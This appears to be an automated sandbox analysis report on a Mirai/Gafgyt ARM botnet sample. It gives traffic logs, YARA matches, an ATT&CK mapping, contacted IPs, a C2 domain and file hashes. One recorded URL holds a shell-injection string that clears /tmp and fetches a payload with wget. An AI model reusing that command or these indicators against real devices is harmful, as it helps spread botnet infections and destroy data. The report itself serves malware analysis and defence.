Source: unknown	Network traffic detected: HTTP traffic on port 42496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43220 -> 37215

Source: /tmp/arm.elf (PID: 6259)

Queries kernel information via 'uname':

Jump to behavior

Source: arm.elf, 6259.1.00005624eeac0000.00005624eebee000.rw-.sdmp, arm.elf, 6263.1.00005624eeac0000.00005624eebee000.rw-.sdmp	Binary or memory string: $V!/etc/qemu-binfmt/arm
Source: arm.elf, 6259.1.00007ffe48302000.00007ffe48323000.rw-.sdmp, arm.elf, 6263.1.00007ffe48302000.00007ffe48323000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm.elf
Source: arm.elf, 6259.1.00005624eeac0000.00005624eebee000.rw-.sdmp, arm.elf, 6263.1.00005624eeac0000.00005624eebee000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm.elf, 6259.1.00007ffe48302000.00007ffe48323000.rw-.sdmp, arm.elf, 6263.1.00007ffe48302000.00007ffe48323000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: arm.elf, type: SAMPLE
Source: Yara match	File source: 6259.1.00007f3018017000.00007f3018028000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6263.1.00007f3018017000.00007f3018028000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arm.elf PID: 6259, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm.elf PID: 6263, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: arm.elf, type: SAMPLE
Source: Yara match	File source: 6259.1.00007f3018017000.00007f3018028000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6263.1.00007f3018017000.00007f3018028000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arm.elf PID: 6259, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: arm.elf PID: 6263, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm.elf	68%	ReversingLabs	Linux.Trojan.Mirai
arm.elf	100%	Avira	EXP/ELF.Gafgyt.T

Source	Detection	Scanner	Label	Link
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
scamanje.stresserit.pro	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	arm.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	arm.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
41.6.232.110	unknown	South Africa	29975	VODACOM-ZA	false
176.133.142.235	unknown	France	5410	BOUYGTEL-ISPFR	false
139.77.60.67	unknown	United States	10370	NORTHWEST-AIRLINESUS	false
197.43.51.149	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.129.84.121	unknown	United States	29975	VODACOM-ZA	false
37.147.251.186	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
41.115.248.34	unknown	South Africa	16637	MTNNS-ASZA	false
41.54.60.145	unknown	South Africa	37168	CELL-CZA	false
43.51.167.107	unknown	Japan	4249	LILLY-ASUS	false
197.82.0.44	unknown	South Africa	10474	OPTINETZA	false
68.22.223.41	unknown	United States	7018	ATT-INTERNET4US	false
156.216.92.23	unknown	Egypt	8452	TE-ASTE-ASEG	false
109.173.191.229	unknown	Poland	13110	INEA-ASPL	false
139.159.133.143	unknown	China	55990	HWCSNETHuaweiCloudServicedatacenterCN	false
155.179.28.210	unknown	United States	4046	FAAUS	false
194.86.253.145	unknown	Finland	719	ELISA-ASHelsinkiFinlandEU	false
70.139.113.250	unknown	United States	7018	ATT-INTERNET4US	false
137.20.23.56	unknown	United States	13688	PSEGUS	false
41.82.47.216	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false
77.68.188.234	unknown	Denmark	43557	ASEMNETDK	false
105.214.135.224	unknown	South Africa	16637	MTNNS-ASZA	false
197.223.37.52	unknown	Egypt	37069	MOBINILEG	false
70.197.182.224	unknown	United States	6167	CELLCO-PARTUS	false
185.145.110.2	unknown	Switzerland	20634	TELECOM-LISchaanerstrasse1LI	false
108.11.217.59	unknown	United States	701	UUNETUS	false
41.43.14.1	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.114.21.36	unknown	Netherlands	13639	ING-AMERICAS-WHOLESALEUS	false
197.67.168.145	unknown	South Africa	16637	MTNNS-ASZA	false
130.66.21.200	unknown	France	2200	FR-RENATERReseauNationaldetelecommunicationspourlaTec	false
45.150.101.135	unknown	Liechtenstein	47987	LOVESERVERSGB	false
97.160.170.205	unknown	United States	6167	CELLCO-PARTUS	false
66.193.243.253	unknown	United States	54321	COMPUTEXUS	false
185.85.193.119	unknown	Italy	198102	XSTREAMIT	false
165.102.32.102	unknown	Japan	10006	SECOMTRUSTSECOMTrustSystemsCoLtdJP	false
64.242.55.81	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
219.86.3.232	unknown	Taiwan; Republic of China (ROC)	9924	TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi	false
86.36.4.2	unknown	Qatar	29384	QATAR-FOUNDATIONQA	false
156.197.112.155	unknown	Egypt	8452	TE-ASTE-ASEG	false
32.42.58.135	unknown	United States	2686	ATGS-MMD-ASUS	false
197.120.220.103	unknown	Egypt	36992	ETISALAT-MISREG	false
162.127.82.75	unknown	United States	11714	NETWORKNEBRASKAUS	false
197.252.28.221	unknown	Sudan	15706	SudatelSD	false
197.132.217.143	unknown	Egypt	24835	RAYA-ASEG	false
135.20.62.232	unknown	United States	18676	AVAYAUS	false
197.53.167.34	unknown	Egypt	8452	TE-ASTE-ASEG	false
17.57.22.215	unknown	United States	714	APPLE-ENGINEERINGUS	false
104.190.180.155	unknown	United States	7018	ATT-INTERNET4US	false
197.226.240.86	unknown	Mauritius	23889	MauritiusTelecomMU	false
66.50.253.133	unknown	Puerto Rico	10396	COQUI-NETPR	false
19.98.226.90	unknown	United States	3	MIT-GATEWAYSUS	false
4.252.228.122	unknown	United States	3356	LEVEL3US	false
156.25.252.227	unknown	Switzerland	25021	CIEF-ASEtatdeFribourgSITelCH	false
35.115.167.102	unknown	United States	237	MERIT-AS-14US	false
156.107.128.147	unknown	United States	8414	PlacedesNationsCH-1211Geneva20SwitzerlandGR	false
20.4.168.228	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
197.66.178.232	unknown	South Africa	16637	MTNNS-ASZA	false
197.2.168.195	unknown	Tunisia	37705	TOPNETTN	false
156.49.200.170	unknown	Sweden	29975	VODACOM-ZA	false
41.51.145.62	unknown	South Africa	37168	CELL-CZA	false
165.89.2.244	unknown	United States	6254	EGGINCUS	false
41.87.198.48	unknown	South Africa	37315	CipherWaveZA	false
162.202.72.166	unknown	United States	7018	ATT-INTERNET4US	false
155.174.218.24	unknown	United States	797	AMERITECH-ASUS	false
207.208.59.127	unknown	United States	2828	XO-AS15US	false
156.8.250.180	unknown	South Africa	3741	ISZA	false
197.116.147.24	unknown	Algeria	36947	ALGTEL-ASDZ	false
109.215.156.254	unknown	France	3215	FranceTelecom-OrangeFR	false
110.135.245.150	unknown	Japan	9824	JTCL-JP-ASJupiterTelecommunicationCoLtdJP	false
140.225.165.136	unknown	United States	14763	STKATEUS	false
156.57.94.228	unknown	Canada	855	CANET-ASN-4CA	false
219.144.203.152	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
136.233.172.107	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
118.116.16.54	unknown	China	139220	CHINANET-SICHUAN-CHUANXI-IDCSichuanChuanxnIDCCN	false
156.118.112.80	unknown	France	59863	NORSKREGNESENTRALNO	false
5.254.242.24	unknown	Russian Federation	12688	BAIKALTRANSTELECOMIrkutskRussiaRU	false
42.233.206.40	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
92.129.165.53	unknown	France	3215	FranceTelecom-OrangeFR	false
202.46.95.104	unknown	Indonesia	4855	PI-ID-AS-APPacificLinkIndonesiaID	false
156.138.36.12	unknown	United States	29975	VODACOM-ZA	false
197.10.137.66	unknown	Tunisia	5438	ATI-TN	false
146.137.69.140	unknown	United States	683	ARGONNE-ASUS	false
36.226.7.228	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
197.106.106.118	unknown	South Africa	37168	CELL-CZA	false
41.55.86.155	unknown	South Africa	37168	CELL-CZA	false
156.92.118.131	unknown	United States	10695	WAL-MARTUS	false
69.69.105.221	unknown	United States	17402	CENTURYLINK-LEGACY-EMBARQ-CHSKUS	false
41.14.214.97	unknown	South Africa	29975	VODACOM-ZA	false
219.67.240.183	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
146.158.247.104	unknown	Spain	12479	UNI2-ASES	false
197.123.197.13	unknown	Egypt	36992	ETISALAT-MISREG	false
197.220.141.87	unknown	Lesotho	33567	TELECOM-LESOTHOLS	false
192.147.249.55	unknown	United States	20074	PLNU-ASNUS	false
197.220.141.89	unknown	Lesotho	33567	TELECOM-LESOTHOLS	false
156.80.10.9	unknown	United States	393649	BOOZ-AS2US	false
197.36.184.192	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.141.184.234	unknown	Morocco	36903	MT-MPLSMA	false
156.56.100.65	unknown	United States	87	INDIANA-ASUS	false
35.144.136.138	unknown	United States	394141	ROCKET-FIBERUS	false
74.57.30.210	unknown	Canada	5769	VIDEOTRONCA	false
41.239.218.66	unknown	Egypt	8452	TE-ASTE-ASEG	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.6.232.110	0lMevtsZn2.elf	Get hash	malicious	Mirai	Browse
	5tuUOk0hKz.elf	Get hash	malicious	Mirai	Browse
	x86.elf	Get hash	malicious	Mirai	Browse
	H3p06Xn6OP.elf	Get hash	malicious	Mirai, Moobot	Browse
	50rvGYNepN	Get hash	malicious	Mirai	Browse
176.133.142.235	i686.elf	Get hash	malicious	Unknown	Browse
139.77.60.67	qDcHjUe1i4	Get hash	malicious	Mirai	Browse
197.43.51.149	94.156.8.9-skid.x86-2024-07-23T17_40_07.elf	Get hash	malicious	Mirai, Moobot	Browse
	f6KrcRnK1b	Get hash	malicious	Mirai	Browse
	c9O21NXLpH	Get hash	malicious	Mirai	Browse
	fbrrA6l6Ta	Get hash	malicious	Mirai	Browse
	ahsok.sh4	Get hash	malicious	Mirai	Browse
	0JGOB810hj	Get hash	malicious	Mirai	Browse
156.129.84.121	lAd5Gs8bL8	Get hash	malicious	Mirai	Browse
41.115.248.34	F3TJqL0vDs.elf	Get hash	malicious	Gafgyt, Mirai	Browse
41.54.60.145	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse
	nullnet_load.arm.elf	Get hash	malicious	Mirai	Browse
	HOdRDgUXqH.elf	Get hash	malicious	Mirai	Browse
	5EHBWChBlT.elf	Get hash	malicious	Mirai	Browse
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse
	ht4NgRbdkg	Get hash	malicious	Mirai	Browse
	FNVTuoYn6w	Get hash	malicious	Mirai	Browse
	HszMzwJSc1	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NORTHWEST-AIRLINESUS	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	139.77.185.172
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	139.77.31.114
	arm.elf	Get hash	malicious	Mirai	Browse	139.73.85.240
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	147.119.103.199
	spc.elf	Get hash	malicious	Unknown	Browse	147.119.200.173
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	147.118.104.231
	yakuza.i586.elf	Get hash	malicious	Unknown	Browse	147.118.221.87
	arm7.elf	Get hash	malicious	Mirai	Browse	147.119.200.171
	HUyUkUjJ4y.elf	Get hash	malicious	Unknown	Browse	147.118.210.222
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	147.119.73.215
BOUYGTEL-ISPFR	xd.x86.elf	Get hash	malicious	Mirai	Browse	89.92.92.48
	sora.arm.elf	Get hash	malicious	Mirai	Browse	176.156.54.55
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	31.37.175.230
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	31.35.80.168
	arm5.nn-20241201-1515.elf	Get hash	malicious	Mirai, Okiru	Browse	176.165.241.72
	arm7.nn-20241201-1515.elf	Get hash	malicious	Mirai, Okiru	Browse	89.91.139.159
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	89.90.208.189
	sora.mips.elf	Get hash	malicious	Mirai	Browse	62.34.130.138
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	176.150.160.41
	botnet.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	176.166.21.236
VODACOM-ZA	Nowe zam#U00f3wienie - 0072291855.pdf (243KB).com.exe	Get hash	malicious	Quasar	Browse	156.0.0.7
	sora.mips.elf	Get hash	malicious	Mirai	Browse	156.24.5.78
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	41.28.9.178
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	41.22.92.99
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	105.250.4.122
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	41.2.112.2
	botnet.spc.elf	Get hash	malicious	Mirai, Moobot	Browse	41.18.70.130
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	156.5.220.72
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	41.18.187.7
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	156.138.65.132

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.171262839164144
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm.elf
File size:	70'652 bytes
MD5:	bc6579db06dbba223f77dbe9d6942853
SHA1:	b9088dd8560065eefa21c3a4ea64dcfacbadde70
SHA256:	25ec5bc3a50e86e3b8ad21c36f439087735987097560851fdeafe19b0eeb382f
SHA512:	5e106eaaf15a2a6bde5ae0b90a9bfa37743100a567ad7526db2db94629ae661b900df2efcd5769e50806be2b1afcaf932498c7812445f120603dba0887ae684e
SSDEEP:	1536:XeQuwUIu1N6C15xqmX3CFxTykjJ77pyKBeON:XeQuwUF6M3CzWIF7pyKBe
TLSH:	33632845BCD1CA12C6D423BBFA2E128D372573A8D1DF72039D216F2437CA92E1E67691
File Content Preview:	.ELF...a..........(.........4...l.......4. ...(.....................................................,...............Q.td..................................-...L."...^>..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	70252
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xf9b0	0x0	0x6	AX	16
.fini	PROGBITS	0x17a60	0xfa60	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x17a74	0xfa74	0x14a4	0x0	0x2	A	4
.ctors	PROGBITS	0x21000	0x11000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x21008	0x11008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x21014	0x11014	0x218	0x0	0x3	WA	4
.bss	NOBITS	0x2122c	0x1122c	0x460	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x1122c	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x10f18	0x10f18	6.2055	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x11000	0x21000	0x21000	0x22c	0x68c	2.9769	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 21:01:55.097198963 CET	19873	23	192.168.2.23	201.44.99.117
Dec 3, 2024 21:01:55.097208023 CET	19873	23	192.168.2.23	77.118.127.117
Dec 3, 2024 21:01:55.097217083 CET	19873	23	192.168.2.23	128.192.39.112
Dec 3, 2024 21:01:55.097217083 CET	19873	23	192.168.2.23	31.9.100.118
Dec 3, 2024 21:01:55.097228050 CET	19873	23	192.168.2.23	95.62.59.81
Dec 3, 2024 21:01:55.097239971 CET	19873	23	192.168.2.23	165.115.138.193
Dec 3, 2024 21:01:55.097244024 CET	19873	23	192.168.2.23	129.241.65.96
Dec 3, 2024 21:01:55.097245932 CET	19873	23	192.168.2.23	158.190.195.224
Dec 3, 2024 21:01:55.097275972 CET	19873	23	192.168.2.23	79.187.158.55
Dec 3, 2024 21:01:55.097275972 CET	19873	23	192.168.2.23	18.75.87.177
Dec 3, 2024 21:01:55.097287893 CET	19873	23	192.168.2.23	109.182.13.52
Dec 3, 2024 21:01:55.097287893 CET	19873	23	192.168.2.23	80.174.199.131
Dec 3, 2024 21:01:55.097294092 CET	19873	23	192.168.2.23	151.134.125.117
Dec 3, 2024 21:01:55.097302914 CET	19873	23	192.168.2.23	106.243.122.88
Dec 3, 2024 21:01:55.097311974 CET	19873	23	192.168.2.23	64.71.214.58
Dec 3, 2024 21:01:55.097313881 CET	19873	23	192.168.2.23	64.123.2.216
